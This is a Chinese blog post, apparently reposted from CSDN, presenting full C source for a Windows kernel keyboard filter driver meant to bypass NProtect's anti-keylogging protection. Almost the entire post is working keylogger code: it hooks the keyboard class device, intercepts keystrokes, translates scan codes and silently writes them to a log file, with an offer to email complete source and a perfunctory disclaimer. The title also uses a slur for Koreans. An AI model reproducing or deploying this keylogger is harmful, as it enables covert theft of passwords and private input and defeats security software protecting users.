看棒子不顺眼,破解NProtect,键盘驱动级截取键盘记录

NProtect,是用驱动加载进入ring0级别,每个进程注入一个钩子,

用键盘中断技术写的一个钩子,

本人就用驱动对付他,

废话少说,看代码,

 

//#include  <ntddk.h>
#include "kbhook.h"
#include "ScanCode.h"
#include   <windef.h>
int numPendingIrps=0;
//
//ICTOL 以及控制设备的相关变量
//
#define IOCTL_PASSPROCESSID /
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
UNICODE_STRING  devNameUnicd;
UNICODE_STRING  devLinkUnicd;
PDEVICE_OBJECT  pDevice;  //控制设备的设备对象
NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp); //DeviceIoControl的处理函数

VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{   
 KTIMER kTimer;
 LARGE_INTEGER timeout; 
 PDEVICE_EXTENSION pKeyboradDeviceExtension;
 pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
 IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
 timeout.QuadPart=1000000;//1s
 KeInitializeTimer(&kTimer);
 while(numPendingIrps > 0)
 {
  KeSetTimer(&kTimer,timeout,NULL);
  KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
  
 }
 pKeyboradDeviceExtension->bThreadTerminate=TRUE;
 KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会
 KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,
  Executive,KernelMode,FALSE,NULL);             //结束独立的记录线程
 ZwClose(pKeyboradDeviceExtension->hLogFile);      //关闭文件句柄
 IoDeleteDevice(theDriverObject->DeviceObject);    //删除设备对象
 
 IoDeleteSymbolicLink(&devLinkUnicd);
 IoDeleteDevice(pDevice);
 DbgPrint("My Driver Unloaded!");
 return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{
 

 NTSTATUS status={0};
 int i;
 PDEVICE_EXTENSION pKeyboardDeviceExtension;
 
 IO_STATUS_BLOCK file_status;
 OBJECT_ATTRIBUTES obj_attrib;
 CCHAR ntNameFile[100]="//DosDevices//c://kbhook.txt";
 STRING ntNameString;
 UNICODE_STRING uFileName;
 
 for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
  
  theDriverObject->MajorFunction[i] = DispatchPassDown;
 theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
 
 HookKeyboard(theDriverObject);
 //建立一个线程用来记录键盘动作
 InitThreadKeyLogger(theDriverObject);
 
 /////////////////////////////////////////////////////////////////////////////////////////////
 ////////初始化一个旋转锁来访问链表///////////////////////////////////////////////////////////////
 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
 InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

 KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
 KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
 ////////////创建一个纪录文件///////////////////////////////////////////////////////////////////////
 RtlInitAnsiString(&ntNameString,ntNameFile);
 RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
 InitializeObjectAttributes(&obj_attrib,&uFileName,
        OBJ_CASE_INSENSITIVE,
        NULL,NULL);
 
 status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
  GENERIC_WRITE,
  &obj_attrib,
  &file_status,
  NULL,
  FILE_ATTRIBUTE_NORMAL,
  0,
  FILE_OPEN_IF,
  FILE_SYNCHRONOUS_IO_NONALERT,
  NULL,
  0);
 RtlFreeUnicodeString(&uFileName);
 
 theDriverObject->DriverUnload=OnUnload;

  //NTSTATUS  Status;
  //PDEVICE_OBJECT  pDevice;
  RtlInitUnicodeString(&devNameUnicd,L"//Device//PANZER3");
  RtlInitUnicodeString(&devLinkUnicd,L"//??//PANZER3");
  status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN,
      0,FALSE,&pDevice);
   if(!NT_SUCCESS(status))
  {
      DbgPrint(("Can not create device./n"));
      return status;
  }
  status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd);
  if(!NT_SUCCESS(status))
  {
      DbgPrint(("Can not create device.SymbolicLink/n"));
      return status;
   }
  theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=
       theDriverObject->MajorFunction[IRP_MJ_CREATE]=
           theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;
  DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice);
 return STATUS_SUCCESS;
 
}
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{   ///IRQL = passive level
 //建立过滤驱动对象
 PDEVICE_EXTENSION pKeyboardDeviceExtension;
 PDEVICE_OBJECT pKeyboardDeviceObject;
 CCHAR ntNameBuffer[50]="//Device//keyboardClass0";
 STRING ntNameString;
 UNICODE_STRING uKeyboardDevice;
 
 NTSTATUS status=IoCreateDevice(theDriverObject,
        sizeof(DEVICE_EXTENSION),
        NULL,
        FILE_DEVICE_KEYBOARD, //★注意这里
        0,
        TRUE,
        &pKeyboardDeviceObject);
 if(!NT_SUCCESS(status))
  return status;
 /////////// 设置新设备的标志与地层键盘设备标记相同
 pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
 pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
 //在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。
 //然而,如果创建了其它设备对象,则需要进行该清除工作。
 //对DEVICE_EXTENSION结构清0
 
 RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));
 
 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
 /////把keyboardClass0转换成一个UNICODE字符串//////////////////////////////////////////////////////////
 
 RtlInitAnsiString(&ntNameString,ntNameBuffer);
 RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);
 //准备工作完成后放置过滤钩子
 IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,
  &pKeyboardDeviceExtension->pKeyboardDevice);
 RtlFreeUnicodeString(&uKeyboardDevice);
 
 return STATUS_SUCCESS;
}

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject)
{// IRQL = passive level
 PDEVICE_EXTENSION pKeyboardDeviceExtension;
 HANDLE hThread;
 NTSTATUS status;
 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
 //////////////////////设置线程状态////////////////////////////////////
 pKeyboardDeviceExtension->bThreadTerminate=FALSE;
 ////////////创建一个线程用来记录////////////////////////////////////////
 status=PsCreateSystemThread(&hThread,
        (ACCESS_MASK)0,
        NULL,
        (HANDLE)0,
        NULL,
        ThreadKeyLogger,
        pKeyboardDeviceExtension);
 if(!NT_SUCCESS(status))
  return status;
 ///////////////////////////转换保存指向线程对象的指针////////////////////////
 ObReferenceObjectByHandle(hThread,
        THREAD_ALL_ACCESS,
        NULL,
        KernelMode,
        (PVOID*)&pKeyboardDeviceExtension->pThreadObject,
        NULL);
 ZwClose(hThread);
 return status;
}
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{   // IRQL = passive level
 IoSkipCurrentIrpStackLocation(pIrp);
 return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
 
}
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{ // IRQL = DISPATCH_LEVEL
 
 
 IoCopyCurrentIrpStackLocationToNext(pIrp);
 
 IoSetCompletionRoutine(pIrp,
  OnReadCompletion,
  theDeviceObject,
  TRUE,
  TRUE,
  TRUE);
 
 
 numPendingIrps++;  //纪录挂起的irp数目
 
 return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
 PKEYBOARD_INPUT_DATA keys;
 int numKeys;
 int i;
 KEY_DATA* kData;
 PDEVICE_EXTENSION pKeyboardDeviceExtension;
 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
 if(pIrp->IoStatus.Status==STATUS_SUCCESS)
 {
  
  keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
  numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
  for( i=0;i<numKeys;i++)
  {
   if(keys[i].Flags==KEY_MAKE)
    DbgPrint("%s/n","Key Down,IrpCallBack FUN");
   kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
   kData->KeyData=(char)keys[i].MakeCode;
   kData->KeyFlags=(char)keys[i].Flags;
   /////////创建一个链表将击键动作传递给worker线程/////////////////////////////////////
   ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
    &kData->ListEntry,
    &pKeyboardDeviceExtension->lockQueue);  //★注意同步
   KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
   
  }
  
 }
 if(pIrp->PendingReturned)
  IoMarkIrpPending(pIrp);
 numPendingIrps--;
 return pIrp->IoStatus.Status;
}
VOID ThreadKeyLogger(IN PVOID pContext)
{// IRQL = passive level
 PDEVICE_OBJECT pKeyboardDeviceObject;
 PDEVICE_EXTENSION pKeyboardDeviceExtension;
 PLIST_ENTRY pListEntry;
 KEY_DATA* kData;
 char keys[3]={0};
 
 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;
 pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;
 //等待信号量,若信号量递增,则继续运行处理循环
 while(TRUE)
 {
  KeWaitForSingleObject(
   &pKeyboardDeviceExtension->semQueue,
   Executive,
   KernelMode,
   FALSE,
   NULL);
  //在链表中安全删除了最高顶端//
  pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
   &pKeyboardDeviceExtension->lockQueue);
  if(pKeyboardDeviceExtension->bThreadTerminate==TRUE)
  {
   PsTerminateSystemThread(STATUS_SUCCESS);
  }
  kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
  
  ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
  ExFreePool(kData);  //删除内存
  if(keys!=0)
  {
   if(pKeyboardDeviceExtension->hLogFile!=NULL)
   {
    IO_STATUS_BLOCK io_status;
    NTSTATUS status;
    status=ZwWriteFile(
     pKeyboardDeviceExtension->hLogFile,
     NULL,
     NULL,
     NULL,
     &io_status,
     &keys,
     strlen(keys),
     NULL,
     NULL);
    if(status!=STATUS_SUCCESS)
     DbgPrint("write code to file fail!");
   }
  }  
 }
 return;
}
//////////ConvertScanCodeToKeyCode 函数用来转换接受的击键码

//
//控制设备的IOControl函数
//

 NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp)
{

   PIO_STACK_LOCATION  irpStack;
   NTSTATUS  Status;
   PVOID    InPutBuffer;
   ULONG  ioControlCode;
   ULONG  OutPutLen;
   PEPROCESS Process;
  
   ULONG IOPL = 1;
   HANDLE hProc;
   HANDLE *pBuff = NULL;
   Status=STATUS_SUCCESS;
   if(pDeviceObject != pDevice)
   {
   DbgPrint("keyboard filter!");
   IoSkipCurrentIrpStackLocation(pIrp);
 return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
 }
   irpStack=IoGetCurrentIrpStackLocation(pIrp);
   ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;
   switch(irpStack->MajorFunction)
   {
  case  IRP_MJ_CREATE:
    DbgPrint("Call IRP_MJ_CREATE/n");
    break;
  case  IRP_MJ_CLOSE:
    DbgPrint("Call IRP_MJ_CLOSE/n");
    break;
  case  IRP_MJ_DEVICE_CONTROL:
    OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    switch(ioControlCode)
    {
   case IOCTL_PASSPROCESSID:
    {
        /*_asm
        {
            mov dx, 0x64
            mov al, 0xFE
            out dx, al
       }*/
                             DbgPrint("ioControlCode/n");
     
    }
     break;
   default:
     break;
    }
    break;
  default:
    DbgPrint("no match control/n");
    break;
   }
   pIrp->IoStatus.Status = Status;
   pIrp->IoStatus.Information = 0;
   IoCompleteRequest (pIrp, IO_NO_INCREMENT);
   return  Status;
}

 


#include "ntddk.h"

#include "ntddkbd.h"
#include "kbhook.h"
#include "ScanCode.h"

 

#define INVALID 0X00 //scan code not supported by this driver
#define SPACE 0X01 //space bar
#define ENTER 0X02 //enter key
#define LSHIFT 0x03 //left shift key
#define RSHIFT 0x04 //right shift key
#define CTRL  0x05 //control key
#define ALT   0x06 //alt key

char KeyMap[84] = {
 INVALID, //0
  INVALID, //1
  '1', //2
  '2', //3
  '3', //4
  '4', //5
  '5', //6
  '6', //7
  '7', //8
  '8', //9
  '9', //A
  '0', //B
  '-', //C
  '=', //D
  INVALID, //E
  INVALID, //F
  'q', //10
  'w', //11
  'e', //12
  'r', //13
  't', //14
  'y', //15
  'u', //16
  'i', //17
  'o', //18
  'p', //19
  '[', //1A
  ']', //1B
  ENTER, //1C
  CTRL, //1D
  'a', //1E
  's', //1F
  'd', //20
  'f', //21
  'g', //22
  'h', //23
  'j', //24
  'k', //25
  'l', //26
  ';', //27
  '/'', //28
  '`', //29
  LSHIFT, //2A
  '//', //2B
  'z', //2C
  'x', //2D
  'c', //2E
  'v', //2F
  'b', //30
  'n', //31
  'm' , //32
  ',', //33
  '.', //34
  '/', //35
  RSHIFT, //36
  INVALID, //37
  ALT, //38
  SPACE, //39
  INVALID, //3A
  INVALID, //3B
  INVALID, //3C
  INVALID, //3D
  INVALID, //3E
  INVALID, //3F
  INVALID, //40
  INVALID, //41
  INVALID, //42
  INVALID, //43
  INVALID, //44
  INVALID, //45
  INVALID, //46
  '7', //47
  '8', //48
  '9', //49
  INVALID, //4A
  '4', //4B
  '5', //4C
  '6', //4D
  INVALID, //4E
  '1', //4F
  '2', //50
  '3', //51
  '0', //52
};

int flag;  //CAP STATUS
char ExtendedKeyMap[84] = {
 INVALID, //0
  INVALID, //1
  '!', //2
  '@', //3
  '#', //4
  '$', //5
  '%', //6
  '^', //7
  '&', //8
  '*', //9
  '(', //A
  ')', //B
  '_', //C
  '+', //D
  INVALID, //E
  INVALID, //F
  'Q', //10
  'W', //11
  'E', //12
  'R', //13
  'T', //14
  'Y', //15
  'U', //16
  'I', //17
  'O', //18
  'P', //19
  '{', //1A
  '}', //1B
  ENTER, //1C
  INVALID, //1D
  'A', //1E
  'S', //1F
  'D', //20
  'F', //21
  'G', //22
  'H', //23
  'J', //24
  'K', //25
  'L', //26
  ':', //27
  '"', //28
  '~', //29
  LSHIFT, //2A
  '|', //2B
  'Z', //2C
  'X', //2D
  'C', //2E
  'V', //2F
  'B', //30
  'N', //31
  'M' , //32
  '<', //33
  '>', //34
  '?', //35
  RSHIFT, //36
  INVALID, //37
  INVALID, //38
  SPACE, //39
  INVALID, //3A
  INVALID, //3B
  INVALID, //3C
  INVALID, //3D
  INVALID, //3E
  INVALID, //3F
  INVALID, //40
  INVALID, //41
  INVALID, //42
  INVALID, //43
  INVALID, //44
  INVALID, //45
  INVALID, //46
  '7', //47
  '8', //48
  '9', //49
  INVALID, //4A
  '4', //4B
  '5', //4C
  '6', //4D
  INVALID, //4E
  '1', //4F
  '2', //50
  '3', //51
  '0', //52
};


VOID ConvertScanCodeToKeyCode(PDEVICE_EXTENSION pDevExt, KEY_DATA* kData, char* keys)
{
 
 char key = 0;
 PIRP irp;
 KEVENT event = {0};
 KEYBOARD_INDICATOR_PARAMETERS indParams = {0};
 IO_STATUS_BLOCK ioStatus = {0};
 NTSTATUS status = {0};
 key = KeyMap[kData->KeyData];
 
 
 
 KeInitializeEvent(&event, NotificationEvent, FALSE);
 
 irp = IoBuildDeviceIoControlRequest(IOCTL_KEYBOARD_QUERY_INDICATORS,pDevExt->pKeyboardDevice,
  NULL,0,&indParams,sizeof(KEYBOARD_ATTRIBUTES),TRUE,&event,&ioStatus);
 status = IoCallDriver(pDevExt->pKeyboardDevice, irp);
 
 if (status == STATUS_PENDING)
 {
  (VOID) KeWaitForSingleObject(&event,Suspended,KernelMode,
   FALSE,NULL);
 }
 
 status = irp->IoStatus.Status;
 
 if(status == STATUS_SUCCESS)
 {
  indParams = *(PKEYBOARD_INDICATOR_PARAMETERS)irp->AssociatedIrp.SystemBuffer;
  if(irp)
  {
    flag = (indParams.LedFlags & KEYBOARD_CAPS_LOCK_ON);
   //DbgPrint("Caps Lock Indicator Status: %x./n",flag);
  }
  else
  {
   DbgPrint("Error allocating Irp");
   flag = 0;
  }
 }//end if
 
 switch(key)
 {
  
 case LSHIFT:
  if(kData->KeyFlags == KEY_MAKE)
   pDevExt->kState.kSHIFT = TRUE;
  else
   pDevExt->kState.kSHIFT = FALSE;
  break;
  
 case RSHIFT:
  if(kData->KeyFlags == KEY_MAKE)
   pDevExt->kState.kSHIFT = TRUE;
  else
   pDevExt->kState.kSHIFT = FALSE;
  break;
  
 case CTRL:
  if(kData->KeyFlags == KEY_MAKE)
   pDevExt->kState.kCTRL = TRUE;
  else
   pDevExt->kState.kCTRL = FALSE;
  break;
  
  
 case ALT:
  if(kData->KeyFlags == KEY_MAKE)
   pDevExt->kState.kALT = TRUE;
  else
   pDevExt->kState.kALT = FALSE;
  break;
  
  
 case SPACE:
  if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK))
   keys[0] = 0x20;   
  break;
  
 case ENTER:
  if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK))
  {        
   keys[0] = 0x0D;    
   keys[1] = 0x0A;
  }//end if
  break;
  
  
 default:
  if((pDevExt->kState.kALT != TRUE) && (pDevExt->kState.kCTRL != TRUE) && (kData->KeyFlags == KEY_BREAK)) //don't convert if ALT or CTRL is pressed
  {
   if((key >= 0x21) && (key <= 0x7E)) //don't convert non alpha numeric keys
   {
    if(pDevExt->kState.kSHIFT == TRUE)
     keys[0] = ExtendedKeyMap[kData->KeyData];
    else 
     keys[0] = key;
    DbgPrint("Caps  %x.ScanCode: %s",flag,keys);
   }//end if
  }//end if
  break;
 }//end switch(keys)
}//end ConvertScanCodeToKeyCode

 

需要源码的请留下Email,,本人纯属技术爱好,用于非法的,后果自负。
 


原文链接: http://blog.csdn.net/yincheng01/article/details/3618156

你可能感兴趣的:(看棒子不顺眼,破解NProtect,键盘驱动级截取键盘记录)